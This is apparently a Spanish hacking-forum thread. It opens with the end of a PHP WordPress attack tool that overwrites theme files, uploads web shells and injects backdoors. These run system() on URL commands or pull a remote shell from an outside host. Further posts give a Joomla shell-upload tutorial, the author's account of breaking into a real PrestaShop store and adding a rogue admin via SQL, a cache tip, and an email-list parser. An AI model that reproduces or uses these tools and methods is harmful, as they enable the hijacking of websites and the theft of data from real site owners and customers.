echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
if($showForm):
?>
<div id="info">Insert New Index Content (WP Main Index) [fopen]:</div>
<div id="data">
<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $indexContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 5:
$showForm = true;
$next = false;
if(isset($_POST['change_index'])):
$wpUrl = getInfo($_SESSION['dbPref'], 'siteurl');
if(substr($wpUrl, -1) == '/')
$wpUrl = substr($wpUrl, 0, strlen($wpUrl) - 1);
$wpUser = $_POST['admin_user'];
$wpPass = $_POST['admin_pass'];
$wpCont = stripslashes($_POST['new_content']);
if(!checkLogin($wpUrl, $wpUser, $wpPass)):
echo '<div class="error">Can\'t login with: '.$wpUser.'::'.$wpPass.'</div>';
else:
$source = sourceIndex($wpUrl, getInfo($_SESSION['dbPref'], 'template'));
$data = @preg_match("/<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"(.*)\" \/></", $source, $wpnonce);
$next = true;
endif;
if($next === false):
elseif($next === true && empty($wpnonce[1])):
echo '<div class="error">Can\'t get wp nonce</div>';
elseif(!changeIndex($wpUrl, $wpCont, getInfo($_SESSION['dbPref'], 'template'), $wpnonce[1])):
echo '<div class="error">Can\'t update index file</div>';
else:
$showForm = false;
echo '<div class="success">Index updated correctly</div>';
echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
<div id="info">Insert New Index Content (WP Actual Theme Index) [cURL]:</div>
<div id="data">
<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert Admin Password<br /></div>
<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
</div>
<?php
endif;
?>
<?php
break;
case 6:
$showForm = true;
$theme = getInfo($_SESSION['dbPref'], 'template');
if(isset($_POST['change_index'])):
$wpCont = stripslashes($_POST['new_content']);
$themeContent = @fopen('./wp-content/themes/'.$theme.'/index.php', 'w+');
if(!$themeContent):
echo '<div class="error">Can\'t open/found index.php file</div>';
else:
@fwrite($themeContent, $wpCont);
@fclose($themeContent);
$showForm = false;
echo '<div class="success">Index updated correctly</div>';
echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
endif;
endif;
if($showForm):
$themeContent = @file_get_contents('./wp-content/themes/'.$theme.'/index.php');
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
<div id="info">Insert New Index Content (WP Actual Theme Index) [fopen]:</div>
<div id="data">
<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
</div>
<?php
endif;
break;
case 7:
$showForm = true;
if(isset($_POST['upload_shell'])):
$uploadShell = basename($_FILES['file']['name']);
if(!move_uploaded_file($_FILES['file']['tmp_name'], $uploadShell)):
echo '<div class="error">Can\'t Upload Shell</div>';
else:
$showForm = false;
echo '<div class="success">Shell Uploaded Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/'.$uploadShell.'" target="_blank">'.$uploadShell.'</a></div>';
endif;
endif;
if($showForm):
?>
<div id="info">Upload Shell To This Path:</div>
<div id="data">
<div class="clear"><label>File:</label><input type="file" name="file" style="border: 1px dashed #00CF00;"/>
<input type="submit" name="upload_shell" value="Upload Shell" style="margin-left: -15px;"/></div>
</div>
<?php
endif;
break;
case 8:
$showForm = true;
if(isset($_POST['make_shell'])):
$shellTheme = $_POST['shell_theme'];
$shellName = $_POST['shell_name'];
$shellCont = stripslashes($_POST['shell_content']);
$makeShell = @fopen('./wp-content/themes/'.$shellTheme.'/'.$shellName, 'w+');
if(!$makeShell):
echo '<div class="error">Can\'t Make Shell In '.$shellTheme.'</div>';
else:
$showForm = false;
@fwrite($makeShell, $shellCont);
@fclose($makeShell);
echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$shellTheme.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
<div id="info">Make Shell To Themes Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Theme:</label><select name="shell_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
</div>
<?php
endif;
break;
case 9:
$showForm = true;
if(isset($_POST['make_shell'])):
$shellPlugin = $_POST['shell_plugin'];
$shellName = $_POST['shell_name'];
$shellCont = stripslashes($_POST['shell_content']);
$makeShell = @fopen('./wp-content/plugins/'.$shellPlugin.'/'.$shellName, 'w+');
if(!$makeShell):
echo '<div class="error">Can\'t Make Shell In '.$shellPlugin.'</div>';
else:
$showForm = false;
@fwrite($makeShell, $shellCont);
@fclose($makeShell);
echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$shellPlugin.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Active Plugins (this can be different to Plugins Path):<br /> <?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br /></div>
<div id="info">Make Shell To Plugins Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Plugin:</label><select name="shell_plugin"><?php echo getPlugins(); ?></select>< Select Plugin<br /></div>
<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
</div>
<?php
endif;
break;
case 10:
$showForm = true;
if(isset($_POST['make_backdoor'])):
$backdoorTheme = $_POST['backdoor_theme'];
$backdoorType = $_POST['backdoor_type'];
$realTheme = @file_get_contents('./wp-content/themes/'.$backdoorTheme.'/index.php');
if(strstr($realTheme, '<?php')):
$exp = '<?php';
elseif(strstr($realTheme, '<?')):
$exp = '<?';
endif;
if($backdoorType == '1'):
$extra = '?active=true&cmd=COMMAND';
$backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
else:
$extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
$backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
endif;
$explode = explode($exp, $realTheme, 2);
$newContent = stripslashes($exp.' '.$backdoorCont.' '.$explode[1]);
$makeBackdoor = @fopen('./wp-content/themes/'.$backdoorTheme.'/index.php', 'w+');
if(!$makeBackdoor):
echo '<div class="error">Can\'t Make Backdoor In /wp-content/themes/'.$backdoorTheme.'/index.php</div>';
else:
$showForm = false;
@fwrite($makeBackdoor, $newContent);
@fclose($makeBackdoor);
echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$backdoorTheme.'/index.php'.$extra.'</div>';
endif;
endif;
if($showForm):
?>
<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
<div id="info">Make Shell To Themes Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Theme:</label><select name="backdoor_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
</div>
<?php
endif;
break;
case 11:
$showForm = true;
if(isset($_POST['make_backdoor'])):
$backdoorPlugin = $_POST['backdoor_plugin'];
$backdoorType = $_POST['backdoor_type'];
$realPlugin = @file_get_contents('./wp-content/plugins/'.$backdoorPlugin);
if(strstr($realPlugin, '<?php')):
$exp = '<?php';
elseif(strstr($realPlugin, '<?')):
$exp = '<?';
endif;
if($backdoorType == '1'):
$extra = '?active=true&cmd=COMMAND';
$backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
else:
$extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
$backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
endif;
$explode = explode($exp, $realPlugin, 2);
$newContent = $exp.' '.$backdoorCont.' '.$explode[1];
$makeBackdoor = @fopen('./wp-content/plugins/'.$backdoorPlugin, 'w+');
if(!$makeBackdoor):
echo '<div class="error">Can\'t Make Backdoor In /wp-content/plugins/'.$backdoorPlugin.'</div>';
else:
$showForm = false;
@fwrite($makeBackdoor, $newContent);
@fclose($makeBackdoor);
echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$backdoorPlugin.$extra.'</div>';
endif;
endif;
if($showForm):
?>
<div id="info">Make Shell To Plugins Path [fopen]:</div>
<div id="data">
<div class="clear"><label>Plugin:</label><select name="backdoor_plugin"><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins'), true); ?></select>< Select Plugin (Active Plugins)<br /></div>
<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
</div>
<?php
endif;
break;
default;
echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
?>
<?php
endswitch;
?>
</div>
<?php
endif;
?>
</fieldset>
<?php
endif;
?>
</form>
</div>
<pre style="text-align: center;margin-top: 5px">[email protected] >> http://xt3mp.mx</pre>
</body>
</html>


Más información:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Login data:
User: Xt3mP
Pass: root

Importante:
Debes poner este script en el mismo directorio que Wordpress.

Bigs:
Si encuentras cualquier error o bug, favor de postearlo en comentarios.

Xt3mP
#3
Joomla se ha convertido de una de las plataformas más usadas en lo que a la gestión del contenido respecta, es por eso, que el subir shell en dicha plataforma ha sido o es la tarea de más de un atacante.

Analizando la plataforma, podemos observar que el subir shell a la misma es bastante sencillo, pero siempre habrá más de uno que se le dificulte ésta tarea. En ésta ocasión no nos enfocarémos tanto al como entrar al panel de administración puesto que supondré que ya tenemos el acceso a éste; si tenemos acceso al código fuente mediante symlink podemos revisar los datos de conexión a la base de datos en el archivo configuration.php:


En caso de tener los datos de conexión a la base de datos de la plataforma, y no poder desencriptar el hash del administrador, podemos ir al siguiente enláce en donde se aclara como agregar un usuario por SQL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, por otro lado podemos ejecutar la siguiente línea para editar la contraseña del administrador cambiando:


  • jos por el prefijo de tabla (generalmente es jos).
  • passwordHash por nuestro hash en md5.
  • adminUser por el nombre de usuario del administrador.

Código: php
UPDATE jos_users SET password="passwordHash" WHERE username="adminUser"


Una vez que estemos dentro del panel de administración tendrémos tres opciones para subir shell.

1.- Mediante la instalación de un nuevo tema: Se trata -como su nombre lo dice- de instalar un tema con la shell incluída; pero primero deberemos saber la versión de Joomla para buscar un tema compatible (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para saber la versión de Joomla basta con ir a la pestaña Ayuda y dar click en Información del sistema:


Después de haber descargado algún tema, agregarémos nuestra shell.php en el directorio raíz del .zip y abrirémos templateDetails.xml (según mi caso al usar el theme WoodenDock) para indicar que la shell también forma parte del tema y no la elimine al instalar el mismo. (nota: entre las etiquetas filename va el nombre del fichero, en mi caso es x.php):


Luego de tener listo el tema, irémos a la pestaña Extensiones, en el ítem instalar/desinstalar y en la subsección instalar eligirémos el tema para proceder a subirlo.


Al terminar de cargar el archivo, nos debe arrojar un mensaje de éxito por lo que es aquí cuando irémos a http://[target]/templates/nombretema/nombreshell.php en donde:


  • nombretema es el nombre de la carpeta del .zip o, en todo caso, el nombre del tema.
  • nombreshell.php es el nombre del fichero que contiene la shell (en este caso).

Y listo, con éste método obtendríamos nuestra shell en el servidor.

2.- Mediante la modificación de una plantilla ya instalada: Consiste en editar el archivo index.php de la plantilla en cuestión facilitándonos así la tarea de subir nuestro tema con su respectiva shell; ésta manera es mucho más sencilla e inclusive, es la más rápida para mí.

Irémos a la pestaña Extensiones y darémos click en el ítem Gestor de plantillas, en éste módulo darémos click en cualquiera de los temas que estén instalados llevándonos a ésta página:


En dicha página, del lado superior derecho observarémos una serie de íconos, en dichos íconos estará el que nosotros necesitamos: Editar HTML:


Nos mostrará el código fuente de index.php por lo que nosotros lo editaremos con el código de nuestra shell:


Al guardarlo nos dirigirémos a http://[target]/templates/nombretema/index.php y nos mostrará la shell.

3.-Mediante el módulo Media Manager/Gestor Multimedia: Joomla cuenta con un gestor que nos permite la subida de archivos, predeterminadamente no se permiten extensiones que pudieran perjudicar la integridad del sitio como php. Sin embargo, cuenta con una configuración global que nos permite indicar que extensiones se pueden subir, por lo que irémos a Configuración Global y editaremos las extensiones permitidas:


Al guardar la nueva configuración, irémos al gestor multimedia para subir nuestra shell, la seleccionamos y la subimos:


Para acceder a la shell basta con ir http://[target]/images/nombreshell.php:


Y así como existen estos tres métodos para subir shell a Joomla, existen muchos más, sólo es cuestión de hechar a volar la imaginación.

ByeOFF
#4
Zona Webmaster / Evitando problemas con la caché
Julio 16, 2012, 12:05:38 AM
¿A quién no le ha pasado que al modificar algún archivo (por ejemplo, algún archivo css) y subirlo al sitio web nuevamente, éste sigue teniendo el contenido del fichero antiguo? ¡A la mayoría!, y éste gravísimo problema 'jode-cerebros' se debe a la bendita -para algunos- caché.

Esto se debe a que, para que la carga del sitio web sea mucho más rápida, el navegador revisa si ya ha descargado el archivo en cuestión para sólo mostrarlo en vez de descargarlo nuevamente, mostrando así (válgame la redundancia) el contenido anterior en vez del actualizado con las correcciones correspondientes.

Existen varios métodos para forzar la descarga del archivo nuevamente y de ésta manera, ganarle a la caché:

1.- Manejando versiones:

Generalmente nosotros llamamos a un archivo CSS de la siguiente manera:

Código: css
<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css" />


Haciendo así, que a la primer visita del navegador, éste descarge el archivo "style.css" y en su segunda carga, al no notar cambios, en vez de descargarlo nuevamente, sólo lo cargue el contenido.

Es aquí cuando entra el primero método para evitar que la caché nos cause dolor de cabeza; manejando versiones, es decir, hará que la llamada al archivo, o bien, la url sea distinta para que el navegador lo interprete como que si se trátase de otro archivo forzando así la descarga del mismo. Esto lo haremos añadiendo un parámetro en el archivo que no sea interpretado de la siguiente forma (en éste caso la versión del script sería 2.0):

Código: css
<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css?_=2.0" />


2.- Manejando hora actual:

Es practicamente el método 1, sólo que agregando la función time() de PHP al final como parámetro en vez de la versión:

Código: css
<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css?_=<?php echo time(); ?>" />


De ésta manera, cada vez que entremos a la página cargará un archivo diferente ya que al tener otro nombre lo tomará como otro archivo, asegurandonos así que siempre se mostrará el contenido actualizado, por lo que nos quitaríamos un gran dolor de cabeza: la caché.
#5
A veces nos encontramos con listas de correos bastantes extensas, pero ese no es el problema, sino el gran desorden de éstas; algunas tienen correos repetidos, otras correos inválidos, inclusive hasta espacios en blanco.

Para eso -y creo que para la comodidad de muchos- he creado un script en PHP el cual se encarga de organizar dichas listas de manera rápida, personalizada y sencilla.


Esta herramienta está aún en fase BETA por lo que algunos manejos de errores no están en el script; alguno de ellos puede ser, por ejemplo, que si metes datos que no son correos electrónicos, tál vez te "parsee" bien la información, pero el resto del procesamiento no será adecuado. Por el momento consta de 5 opciones:

    Remover repetidos:
        Elimina los correos inválidos, mal escritos o repetidos.
    Partir:
        Parte en listas la lista príncipal de correos; en caso de ser "Sí", en "Núm. de listas" elegir el número de listas a crear.
    Mostrar resultado:
        Muestra el resultado en dos opciones:
            Todos: Muestra los correos ordenados alfabéticamente.
            Por Dominio: Muestra los correos ordenados alfabéticamente y por dominio de correo (hotmail, yahoo, etc).

El script se puede mejorar bastante, pero es funcional:

Código: php
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Mail Parser V1 - http://xt3mp.mx</title>
<?php
class mailParserv1
{
    var $mails;
    var $realMails;
    var $nonparsedMails;
    var $correctMails;
    var $wrongMails;
    var $domainMails;

    public function __construct($mails)
    {
        $this->mails = $mails;
        $this->nonparsedMails = array();
        $this->correctMails = array();
        $this->wrongMails = array();
        $this->domainMails = array();
    }

    public function parseMails()
    {
        $eachMail = explode("\r\n", $this->mails);
        foreach($eachMail as $mail)
        {
            if(!empty($mail))
                $this->nonparsedMails[] = strtolower(trim($mail));
        }
    }

    public function removeRepeatmails()
    {
        foreach($this->nonparsedMails as $mail)
        {
            if(!in_array($mail, $this->correctMails) && !empty($mail) && !filter_var($mail, FILTER_VALIDATE_EMAIL))
            {
                $this->correctMails[] = $mail;

            }
            else
            {
                $this->wrongMails[] = $mail;
            }
        }
        return true;
    }

    public function checkMails()
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        if(empty($realMails))
            return false;
        else
            return true;
    }

    private function domainMails()
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        foreach($realMails as $mail)
        {
            $eachMail = explode('@', $mail);
            $this->domainMails[$eachMail[1]][] = $mail;
        }
    }

    private function makeWrongMailsFile()
    {
        if(!empty($this->wrongMails))
        {
            foreach($this->wrongMails as $mail)
            {
                $wrongMailsc .= $mail."\r\n";
            }
            $file = @fopen('xt3mp_badMailList.txt', 'w+');
            @fwrite($file, $wrongMailsc);
            @fclose($file);
        }
    }

    public function checkConfig($list, $result)
    {
        if($list == 'no' && $result == 'no')
            return false;
        else
            return true;
    }

    public function splitMails($parts)
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        $totalMails = count($realMails);
        $totalParts = ceil($totalMails / $parts);
        for($i = 1; $i <= $parts; $i++)
        {
            $next = $i * $totalParts;
            $prev = ($i - 1) * $totalParts;
            for($x = $prev; $x < $next; $x++)
            {
                $newMailList .= $realMails[$x]."\r\n";
            }
            $file = @fopen('Xt3mP_mailList_'.$i.'.txt', 'w+');
            if($file)
            {
                @fwrite($file, $newMailList);
                @fclose($file);
                unset($newMailList);
                $status = true;
            }
            else
                $status = false;
        }
        $this->makeWrongMailsFile();
        return $status;
    }

    public function printMails($type)
    {
        $this->domainMails();
        if($type == 'all')
        {
            $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
            asort($realMails);
            $textArea = '<textarea rows="10" cols="50" class="result">';
            foreach($realMails as $mail)
            {
                $textArea .= strtolower($mail)."\r\n";
            }
            $textArea .= '</textarea>';
            echo $textArea;
        }
        else
        {
            foreach($this->domainMails as $te => $domain)
            {
                asort($domain);
                $textArea .= '<textarea rows="10" cols="50" class="result">';
                foreach($domain as $mail)
                {
                    $textArea .= strtolower($mail)."\r\n";
                }
                $textArea .= '</textarea>';
            }
            echo $textArea;
        }
        return true;
    }
}
?>
<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script>
$(function(){
    $("#result").change(function(){
        val = $(this).val();
        if(val == "yes"){
            $(".result").fadeIn("slow");
        }else{
            $(".result").fadeOut("slow");
        }
    })
    $("#list").change(function(){
        val = $(this).val();
        if(val == "yes"){
            $(".list").fadeIn("slow");
        }else{
            $(".list").fadeOut("slow");
        }
    })
})
</script>
<style type="text/css">
body{
    background-color: #2b2b2b;
}
div#container{
    height: auto;
    font-family: arial, 'lucida console', sans-serif;
    font-size: 12px;
    margin: 0 auto;
    text-shadow: 1px 1px 1px #000;
    width: 500px;
}
div#container fieldset{
    background-color: #444;
    border: double #000;
    color: #FFF;
    padding: 5px;
}
div#container legend{
    background-color: #222;
    border: double #000;
    color: #FFF;
    padding: 5px;
}
div#container input, div#container select, div#container textarea{
    background-color: #222;
    border: 1px solid #000;
    color: #FFF;
    padding: 5px;
    width:  74%;
}
div#container input, div#container textarea{width: 72%;}
div#container input[type=submit]{width: 100px;}
div#container input[type=submit]:hover{
    cursor: pointer;
    background-color: #444;
}
div#container textarea.result
{
    width: 98%;
}
div#container label{
    float: left;
    height: 20px;
    text-align: right;
    margin: 6px 1px 0 0;
    width: 25%;
}
div#status .error, div#status .success{
    background-color: #FF7373;
    border: 1px dashed #FF0000;
    margin-top: 5px;
    padding: 5px;
}
div#status .success{
    background-color: #49A349;
    border: 1px dashed #002E00;
}
</style>
</head>
<body>
<div id="container">
    <form action="" method="POST">
        <fieldset>
            <legend>Mail Parser v1.0 | http://xt3mp.mx > [email protected]</legend>
            <label>Remover repetidos:</label><select name="remove"><option value="yes">Sí</option><option value="no">No</option></select>
            <label>Partir:</label><select id="list" name="list"><option value="yes">Sí</option><option value="no">No</option></select>
            <div class="list">
                <label>Núm. de listas:</label><input type="text" name="parts" value="0" size="5" />
            </div>
            <label>Mostrar resultado:</label><select id="result" name="result"><option value="no">No</option><option value="yes">Sí</option></select>
            <div class="result" style="display: none;">
                <label>Formato:</label><select name="format"><option value="all">Todos</option><option value="domain">Por dominio</option></select>
            </div>
            <label>Lista:</label><textarea name="mailList" rows="10" cols="50"></textarea><br />
            <label> </label><input type="submit" name="mailParserv1" value="Parse Mails" />
            <div id="status">
                <?php
                $class = 'error';
                if(isset($_POST['mailParserv1']))
                {
                    $mailParser = new mailParserv1($_POST['mailList']);
                    $mailParser->parseMails();
                    if(!$mailParser->checkConfig($_POST['list'], $_POST['result']))
                    {
                        echo '<div class="'.$class.'">Error: 0x01 > Bad config</div>';
                    }
                    elseif($_POST['remove'] == 'yes' && !$mailParser->removeRepeatmails())
                    {
                        echo '<div class="'.$class.'">Error: 0x02 > Can\'t remove repeated mails</div>';
                    }
                    elseif($_POST['result'] == 'yes' && $_POST['format'] == 'all' && !$mailParser->checkMails())
                    {
                        echo '<div class="'.$class.'">Error: 0x03 > Empty var: correct mails</div>';
                    }
                    elseif($_POST['list'] == 'yes' && ($_POST['parts'] == 0 or !is_numeric($_POST['parts']) or !$mailParser->splitMails($_POST['parts'])))
                    {
                        echo '<div class="'.$class.'">Error: 0x04 > Can\'t make lists</div>';
                    }
                    else{
                        $class = 'success';
                        $next = true;
                        echo '<div class="'.$class.'">Success: 0x01 > Parsed Mails Successful</div>';
                    }
                    if($next)
                    {
                        $class = 'error';
                        if($_POST['result'] == 'yes' && $_POST['format'] == 'all' && !$mailParser->printMails('all'))
                        {
                            echo '<div class="'.$class.'">Error: 0x05 > Can\'t show mails > Format: All</div>';
                        }
                        elseif($_POST['result'] == 'yes'  && $_POST['format'] == 'domain' && !$mailParser->printMails('domains'))
                        {
                            echo '<div class="'.$class.'">Error: 0x05 > Can\'t show mails > Format: Domains</div>';
                        }
                        elseif($_POST['result'] == 'yes')
                        {
                            $class = 'success';
                            echo '<div class="'.$class.'">Success: 0x02 > Mails Showed Successful</div>';
                        }
                    }
                }
                ?>
            </div>
        </legend>
    </form>
</div>
</body>
</html>


Algunas de las cosas que omití al agregarle son: mostrar el número de correos ingresados (basta con hacer un echo count($eachMail) en la función parseMails() de la clase), mostrar cantidad de correos por lista (en caso de que se decidan crear), etc.

Los errores que maneje son los siguientes:

    Errors
        0×01: No se puede elegir NO partir y NO mostrar resultados; al menos una de las dos debe ser sí, si no no tendría caso usar el script.
        0×02: Error interno al intentar remover y validar los correos ingresados (en caso de opción).
        0×03:Error interno al intentar recuperar los correos ingresados.
        0×04:Error interno al intentar crear las listas (en caso de opción).
        0×05: Error interno al intentar mostrar los correos (en caso de opción).
    Success
        0×01: Correos procesados correctamente.
        0×02: Correos mostrados correctamente (en caso de opción).

Nota: Cabe mencionar que una aplicacion de escritorio es mucho más eficaz que éste simple script en PHP, pero me sacó de apuros.
#6
Hace poco tiempo me encontraba revisando varios sitios webs mediante enláces simbólicos y entre ellos me encontre un sitio peculiar Méxicano. Se trataba de una empresa jóven la cual se dedica a la venta de telefonía (celulares, iPods y accesorios, etc) mediante la plataforma PrestaShop.

CitarPrestaShop es el software de comercio electrónico de Código-abierto más confiable y flexible. Desde 2007, PrestaShop ha revolucionado la industria al proporcionar funcionalidades que atraen compradores y aumentan las ventas en línea.

Al ver que se trataba de la plataforma antes dicha y sin nunca haberla empleado, dedúje que -por obvias razones- se manejaba por base de datos; en ese momento mi objetivo primario era encontrar el archivo de configuración a la misma.

Al entrar al archivo "adminsys/index.php" noté que hacia referencia a un archivo de configuración de la siguiente forma:

Código: php
include(PS_ADMIN_DIR.'/../config/config.inc.php');


Por lo que procedí a buscar el path en cuestión junto con el respectivo fichero (config.inc.php) y me encontre con que -como era de esperarse- en dicho fichero no se establecía la conexión a la base de datos PERO hacía referencia a otro fichero: settings.inc.php.

Esta vez dicho archivo contenía toda la información de la plataforma (o al menos la importante): desde la conexión a la base de datos hasta la versión de la misma (plataforma):


Como la lógica lo indica, procedí a tratar de conectarme con los datos expuestos mediante una shell que ya tenía arriba en otro hosting bajo el mismo servidor y efectivamente, se logró la conexión a la base de datos. Al indagar por las tablas, encontré la tabla de usuarios bajo el nombre de ps_employee; al checar el hash de la contraseña pude deducir que se trataba de un hash md5 por sus 32 carácteres hexadecimales y por ende, traté de desencriptarlo con servicios en línea de comparación (no confundir con fuerza bruta) sin tener resultado alguno:


CitarServicios de comparación para descifrar hashs en MD5: Son nada más y nada menos que -generalmente- scripts escritos en PHP que hacen comparaciones (válgame la redundancia) entre un hash en md5 ya generado y el hash en md5 ingresado. Es decir, se tienen bases de datos enormes con: hash en md5 y la cadena de texto que le corresponde a ese hash, para que al nosotros ingresar el hash en md5 lo compare con los de las bases de datos y en caso de ser positiva la comparación, muestre la cadena de texto que le corresponde.

Aquí fué donde me entró una incógnita y pensé: ya tengo la conexión a la base de datos, también tengo el hash del administrador pero no lo pude descifrar con servicios en línea, aparte, ¿quién me dice que solo se creo el hash de la contraseña sin meter ningún salt de por medio?, y fué ahí cuando recorde haber visto una "_COOKIE_KEY_". ¿Para qué se definiría una COOKIE KEY en el script?, pues para generar la contraseña y hacer más segura la misma.

Entonces tenía dos opciones: o insertar un nuevo usuario mediante MySQL o modificar el hash del administrador por el mío y así poder acceder al sistema; ambas opciones son válidas aunque siguiendo la opción #1 me evitaría modificar el hash del administrador, crear un usuario y cambiar nuevamente al hash antiguo del administrador. Opté por la opción #1 y ejecute la siguiente línea:

Código: php
INSERT INTO ps_employee
(id_profile, id_lang, lastname, firstname, email, passwd, last_passwd_gen, stats_date_from, stats_date_to, bo_color, bo_theme, bo_uimode, bo_show_screencast, active)
values
(1, 2, "apellido", "nombre", "correo", "hash", "2012-07-14 00:01:45", "2012-07-14", "2012-07-14", "#000000", "flashyturtle", "click", 0, 1);


En donde:

    apellido es el apellido de la cuenta (válgame la redundancia).
    nombre es el nombre de la cuenta (válgame la redundancia).
    correo es el correo de la cuenta (válgame la redundancia).
    hash es el hash en md5 generado mediante la "cookie key" y la contraseña que queramos.
        La cookie key la encontramos definida en el archivo settings.inc.php de la carpeta config.
        Para generar el hash podemos ir a cualquier servicio en línea como md5 hash y escribir en el siguiente formato: cookie_key+pass.
